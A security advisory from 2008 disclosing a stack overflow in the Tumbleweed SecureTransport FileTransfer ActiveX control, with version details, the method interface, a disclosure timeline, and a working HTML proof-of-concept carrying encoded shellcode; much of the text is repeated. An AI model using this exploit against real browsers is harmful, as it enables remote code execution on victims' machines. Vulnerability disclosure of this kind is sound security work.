Tumbleweed SecureTransport FileTransfer ActiveX TransferFile() Method remoteFile Variable Overflow
Release Date:
07-Apr-2008
Software:
Tumbleweed Communications - SecureTransport FileTransfer
http://www.tumbleweed.com/
Description:
"Tumbleweed SecureTransport is the industry's most secure Managed File Transfer
solution for moving financial transactions, critical business files, large
documents, XML, and EDI transactions over the Internet and private IP networks.
The SecureTransport managed file transfer suite was built with security in mind
from the ground up. SecureTransport provides corporate and government organizations
with an enterprise-class managed file transfer service supporting a broad and flexible
set of open Internet standards. Winner of the 2006 "Best Intellectual Property
Protection" award from SC Magazine, SecureTransport securely manages file transfer
at over 20,000 sites around the world.
Financial networks use SecureTransport to move billions of dollars in financial
transactions daily, and 8 of the top 10 U.S. banks use it to serve tens of thousands
of corporate customers. Healthcare providers, payers, producers and clearing houses
are linked through SecureTransport, which provides a single, integrated secure file
transfer infrastructure for transferring private health information (PHI). And
government agencies leverage SecureTransport to share sensitive documents
with other agencies."
Versions affected:
SecureTransport FileTransfer ActiveX Control vcst_eu.dll 1.0.0.5 English.
Prior versions, and other language editions (vcst_*.dll), are assumed to be vulnerable.
Vulnerability discovered:
Buffer Overflow.
Vulnerability impact:
High - Remote code execution.
Vulnerability information:
This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of Tumbleweed Communications SecureTransport FileTransfer ActiveX Control.
User interaction is required to exploit this vulnerability in that the target must visit a
malicious page. It may be possible to embed into HTML capable email clients.
The specific flaw exists within the ActiveX control:
DLL: vcst_en.dll
CLSID: 38681fbd-d4cc-4a59-a527-b3136db711d3
interface IActiveXTransfer : IDispatch {
[id(0x00000007), helpstring("method TransferFile")]
HRESULT TransferFile(
[in] VARIANT URL,
[in] VARIANT hostName,
[in] VARIANT localFile,
[in] VARIANT remoteFile,
[in] VARIANT fdxCookie,
[in] long isSecure,
[in] long isUpload,
[in] int portNo,
[in] long isAscii,
[in] long shouldPerformMD5,
[in] long isCheckpointRestart,
[in] int serverPing,
[out, retval] VARIANT* errBuffer);
};
When a large value is specified for the 'remoteFile' parameter of the
IActiveXTransfer.FileTransfer() method, a stack overflow occurs. Exploitation can result
in code execution under the context of the current user. Other parameters, such as localFile,
fdxCookie and localFile may also vulnerable.
Examples:
The following HTML will execute calc.exe under Windows 2000 Professional.
<html>
<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="Vulnerable"></object>
<script language="javascript">
Vulnerable.TransferFile("a", "b", "c", "HqwToZjIhHkOZrLAyrUXkIEJkcQkiYRtePnECVUqpnlzkJTgBuGiqyLUCnceJkrsIxPXchpkjFjIgJRqGvniwwHJssGiTaPpmKZlBPwGMYhShxUWMCLuhgrpWXfdoWCCRYtDTrwyvDmfdAtdazeizBqexoCGifFzEKzvLENkrNCoqpQVtclDmpzPIJZTgUuSHWyiZoUWeNzrJFILdoEpKoyEptrZidLYuGbCrHxrMURRpdXyYJLzbeGRKqUOliWDHFdTEJOsGLngqOVVZdjzlCgOYbvSaUKcmQcugvmVQWMQVfudlFmPvrmULKPQDVGuVFxuhFbuazTlsGbYhuJIjKfPdzGdYKcGVmVFqrtRrzXIGrauMEauSvNfDQkfyQNOTNSwftDyRhKdBFyZHaKQDDrxIEoFyrNLjLPTTGTYNlkoWfPdgSqStnopGaGkwCujLqtocvbYJuTVbUJUJbsloqLClPXTklqPEOsthiraZgJzElMuXPuleJCQdcLsEbnalOGUpZsLgafPsjJEjUuIKAwjZWAaMLnVZwqMQeUYToFMBuneclybwZcKUjHMZhUaEayTKAqPlXGIcUbJVXOpiergIyJVEegVBsPObCFGjXBCgEYZYWfUKxzvVzWeJvhqDRksWeZTWBRhMctQqFMuRHxuTifCqZUsVbILkcJNPUnbnsQHvxdmXMQdpHYTCiDBSwJUxmhKHRbYISvVGvburwysfdxiBPsDiHJJpBYnQpWdBQBwTrikbgybejtrQlBScWNsdHUxsaJpbKeamEbyjgABESztoNphFXKFclPKGFfrDhBdQkPSxApusHVXwumGCVrfgNUDmOaGOAtHkoPzfDLAvtNaXPHWLaKCCUQAYdaAxALDrEcLZwGCXkOcgLVsSrJHAWMtpeAnplUkYhTizmWNyribnFjJAtCxHSJsjAAiPbMTsmAVCioiIdvUVzEWpVJDfHQKGUAmmYqGUCfTXPyhkjcSyhBHOddRPvqWugerPbMMQlSllqNPquoytLBtvWbRyzAJddSxtzQaLATtYgibQzPeaMQzKIdpEJHPWSZyAkyaGkQJxCjgcrwQkBygMCsddYUdHifpbYdPgASxsPDjaTsArCJqosrCvrwHDKkUKjSaoJtbTaiJreoGjDWfDafPjrStaCeUQCVwiyvafEIcsbSvlCavYTHKSnyraoIuUcsWPSpCVHbWEYtwobKFQwvUjoCZqdZEFoQzvosazdPVjXhYqdnDpPTSRapMmAuFXsixOKucVKZZKOBSnAPEzsBcWMGBnNRUVffkJSzESkzkgyKWHkQXIIVjWCeCqMXZtGtGRafPCRyQkZYjRpQOHisWHfdtOSyZHJapOYBLQpRMDyNrhnmFeZWWaWpcuMkfEnZPBbLJwCQloArgGKvsudOoLNFfJwaWZzvSUGKFaddKnMIpuWwXtLzGKmkCJrDZkohkHrbmZZVhFGLhAgLMbwNVPixPcBefTvfNJimVtYGXYPgHChbZLSgPwSYzlqCIpzOMBVSjGzgksrmKjAjlDRIhBBmELmUDMFSqHwWpxfEEWwjzObyFXZVGOMrrWqsWADbtweGtddyFNAIpqQqRzxmVUbjAbUxnDndqpKNDbWKpIHGAQuoGcufpEkjrbMecXBzSsKentBwSHkNDbPBkiZEvnQEKtFgIKCKDDBMsnxFLBKgyTYEIkZdLjxBpuWUHRmrAqeLZGrSYcHlmhEsDbctsVoimbXEJryOLpibDVzoGaxfuhjyDvcNWhvSfixmuJUlNWoeEJVpSVupoCcTCLteLmglsHXIWOUXEWZURFNjdmnaxJPAAPaKtbTQkqyjqbgLsEZtZUQTbqXCzkpnCeKGbBvjiXJgnAbHGbowIAVKXRgcJXtkZLRuClxmJtSPfeIWyOUvaUGnXBQFJfbKwofltQJYldfKXbShFcfwumMWSgIOmiTzGofVNEuGOnkFnnzjKLJVXwAkxonTCeINNwkIDgoVZmjfnflgvWUToyMkVSuGAQhzDLSoeGtKuPHoPynBsdrVqPJcNksGiJmZWYsMZWoRIWsBTBwaSfOQlBjzmwqrGXdDBEeKSuwSncGcwJyOnlCpOkXWcrBdfTncQfwLYfQPPWmlrLMPUZiOMcoxUmOSJbVzqbKlmgIjQcPABepTGFchsrdWijXbYxfLkIMxoTDRjfkRiytIvzFAfWuXfHrEVXoAuVZEDPqiTemWciTsSmKbwEtfMXkIVpDxKlFxRJHdaMdUrEZCJNkATqMnWcbAAEWPDNeWaPtGArUDpDPNkemRFZiEFLVqxaMdZnWFvFtUrXYWnPjWNMdTuzsMFxnmMEtwVQEcaZHzIWvGfaNHKTgKroefyErvhZqAavhGLJFdIzbjnVXkJlfFEeWmfoTRFIYNtfIvIbjZNSsGMzjvZMYvfGwQDzmDdCLHDEMdkYdCluEwIXBGugcOmrVhhTqhcJeWofypbnAvXsHNKwqDrWWWKYePeXkpInurLBiCAtqtVqiYOIzPUzNZcmEUyOaIWetBzEUpovdlaSXRFtJSHkXsLKglMsqETAcHvJZWcGEeelObuqCdWaYqPhfghqGfnYpErsUIVSZQbiRpJNdoeHLXEFeqXBoMpnZTaJZchqHpkdocMEvdOEnhOzzueuOTwXrwEATaDaWJpXZuLsCrYczknwyAphmUevgvZzQGOQzyrsPvIZZUGXqSwgRADPhvcfBMAGYmPGDDXPnEoOzABADlDQGicETRIAmcRwsSvszWELcaseVabXOmGuBhpfOjhALMypkyCgyBDpFEwbnGYSXFiNqbOqUypiJiTrOthTyspQvMQawnagaFJWzgoxKWQpoHXFxRUWRcmtLHFLPakRPDxNiGliWQqtRBjKHnBAagKkuMQLLVuDLevjbkEhqGFFYylybFEyMvdnMaRdcucYrpaSNGesjkOYWczjffbJmhEWTgeYGPDKRHBuOmauGzNNKCXhOAOqhxdHQAdfQEffPDBrvGiEodtTDIXeDdsOXcmMrdMJdxnbZFiuVRFNioshyrXTVodBxaFXYBbwfVwcUSJXGdZZAnYMEhVtPEZYUUBeRJDZKFCrRuJQdLtkKakwFLEQXTcOUcjFPolJLWtJvXenczUxRbGZRINYXWUzzcHJNryYMOCHNZsrfloSffZWtgLJXudLeRYwbukvxEMcMwXAYiXChqgVXDeXDMvfowmLZSwkHjTLtIRFnmGFArnVllqfjiOnXPdZjaIxugozJjVcoVZnExzQxhxPrciIeSjJMBImjHfsHyoigqknpsAoNGpGqRSEVegZQXQlVQyNmewfOjiZCwTWOdSRCwnzQczqnWyeXTIzzukwVKkDAsStGbrCwYYFQqnlBheQVFhGfgwKSCcQSqixNGSPeVobgJLiNftjLqycVBbSUphUqoxxstwQUdAVkQfyoKUAKWgEJycUHyHRPoVbnTTVHvrGnwzlPAvDsThykmjHmaWLblFsSPlHrsBJTvHWAmJViArtMgJZaTbPARfcnHAlorGubyovlnCfyQArosOILFrXKHupmHusRIoQgDZzyZHsCZhNoOnHWnUsUGFeqYsLILkSwnvHsuOlYGjhIfMhwqmcaIMQaqFFkhABUEXzKyKYSQyOTyrFfqIlIkNvLxriALuQsbamSphbypAADfqgXjxtFKzlXCuuCovaozBjtrqjyRqEJTLoLWXSJUzayhZYomKFzYBfKYzGodrrIXemRZZRwDXyfCLVxmmdLOvwSCTjtsETodToQLvjrUkHUQktaQZvODJrtRgmEuFYDvPIcmynnHzAVroXUfFIvUszIyeJVaWogcLPDKuLTPmCWZEOWpyQeDUjhiyZHtjMEBnGYjYpnFeiAlaqfziytMiSAUmXpKzJEdIPWNdMKsjilgDITudqqCoHrsQDGUBIbxtHCJRzPIQuthMmhiaJSvncBzVNuDDIJFXvySSKUOlkFdEbbvvQYMRoFgGurkUAWbiczranFEsZzPYlUJKsAeFJOXPVmthxTdmgQWCzscNuhCNfRnOZFXwUOdGmHGhBijSrytzjNJiwDyNNlYmQbrjSSPvDgOdEGZNbKEkhyoboqmlzQUvEhrSrEAuKduQGvOyrVgCvrhmzXQjHsoQrkRMIgFNhqvMncLHcauYYPVcZNescGfqSPeFODxhzUkalkFRrMpnptBHYTZXVEgINvieNxFeJIVYRJaEsJOwDEkXaUxvuHQgUSjyVxoXfxjzNTXehTukeQAosgTtbaTswUhSSxGmytLAxAUYmLpcNOWqvHWgiJhfduWtwALnUZoiGZIlKhbnHZmGLWjfgMDLbNJKNJAJufWHQDDdBNZsXXiFzgADlSniUqBjVQBNmCEDuciGDgnpNqXRGfdrPfMeFBsUHvwPYNfguoTgJoAUVCsfsXKXqbUOVaTbvWzaLFIiBodrzFvgzkejRwlBvdoDjvRUegEepepXqzHopUAAzvHgnacEwmXoZkmYmxKNJFoxekgijRWXRJteBBqwpPSrUVlSiHHPqBvipxhCaLQlumwzvoFnQNHKzYnAFWcjqfsLzjjbIEBzRyMvTVSdQSoYhHzOUXgUERmDofuFOqzngpykPjhMpQElnoUzqwzHë !ÙÄ* uTXÝÄÙpô]UYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLJHQTEPC0C0LKG5GLLKCLDECHC1JOLKPOB8LKQOQ0EQJKQYLKGDLKEQJNP1IPMINLK4IPD4DGIQHJDMEQHBJKJTGKPTGTC4CEKULKQOQ4C1JKBFLKDLPKLKQOELEQJKLKELLKC1JKK9QLFDETHCQOP1L6E0F6E4LKQVFPLKG0DLLKBPELNMLKCXC8LIJXK3IPCZF0E8CNN8JBCCE8LXKNMZDNPWKOJGBCCQBLBCEPAA", "d", false, false, 80, false, true, true, 420)
</script>
</html>
Additionally, a Metasploit Framework Module has been written to demonstrate the vulnerability.
Credit:
Patrick Webster
Disclosure timeline:
13-Aug-2007 - Discovered during quick audit.
14-Aug-2007 - Metasploit module developed.
22-Aug-2007 - Notified vendor.
19-Oct-2007 - Vendor patch released. SecureTransport Server 4.6.1 Hotfix 20.
07-Apr-2008 - Disclosure.
07-Apr-2008
Software:
Tumbleweed Communications - SecureTransport FileTransfer
http://www.tumbleweed.com/
Description:
"Tumbleweed SecureTransport is the industry's most secure Managed File Transfer
solution for moving financial transactions, critical business files, large
documents, XML, and EDI transactions over the Internet and private IP networks.
The SecureTransport managed file transfer suite was built with security in mind
from the ground up. SecureTransport provides corporate and government organizations
with an enterprise-class managed file transfer service supporting a broad and flexible
set of open Internet standards. Winner of the 2006 "Best Intellectual Property
Protection" award from SC Magazine, SecureTransport securely manages file transfer
at over 20,000 sites around the world.
Financial networks use SecureTransport to move billions of dollars in financial
transactions daily, and 8 of the top 10 U.S. banks use it to serve tens of thousands
of corporate customers. Healthcare providers, payers, producers and clearing houses
are linked through SecureTransport, which provides a single, integrated secure file
transfer infrastructure for transferring private health information (PHI). And
government agencies leverage SecureTransport to share sensitive documents
with other agencies."
Versions affected:
SecureTransport FileTransfer ActiveX Control vcst_eu.dll 1.0.0.5 English.
Prior versions, and other language editions (vcst_*.dll), are assumed to be vulnerable.
Vulnerability discovered:
Buffer Overflow.
Vulnerability impact:
High - Remote code execution.
Vulnerability information:
This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of Tumbleweed Communications SecureTransport FileTransfer ActiveX Control.
User interaction is required to exploit this vulnerability in that the target must visit a
malicious page. It may be possible to embed into HTML capable email clients.
The specific flaw exists within the ActiveX control:
DLL: vcst_en.dll
CLSID: 38681fbd-d4cc-4a59-a527-b3136db711d3
interface IActiveXTransfer : IDispatch {
[id(0x00000007), helpstring("method TransferFile")]
HRESULT TransferFile(
[in] VARIANT URL,
[in] VARIANT hostName,
[in] VARIANT localFile,
[in] VARIANT remoteFile,
[in] VARIANT fdxCookie,
[in] long isSecure,
[in] long isUpload,
[in] int portNo,
[in] long isAscii,
[in] long shouldPerformMD5,
[in] long isCheckpointRestart,
[in] int serverPing,
[out, retval] VARIANT* errBuffer);
};
When a large value is specified for the 'remoteFile' parameter of the
IActiveXTransfer.FileTransfer() method, a stack overflow occurs. Exploitation can result
in code execution under the context of the current user. Other parameters, such as localFile,
fdxCookie and localFile may also vulnerable.
Examples:
The following HTML will execute calc.exe under Windows 2000 Professional.
<html>
<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="Vulnerable"></object>
<script language="javascript">
Vulnerable.TransferFile("a", "b", "c", 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Additionally, a Metasploit Framework Module has been written to demonstrate the vulnerability.
Credit:
Patrick Webster
Disclosure timeline:
13-Aug-2007 - Discovered during quick audit.
14-Aug-2007 - Metasploit module developed.
22-Aug-2007 - Notified vendor.
19-Oct-2007 - Vendor patch released. SecureTransport Server 4.6.1 Hotfix 20.
07-Apr-2008 - Disclosure.
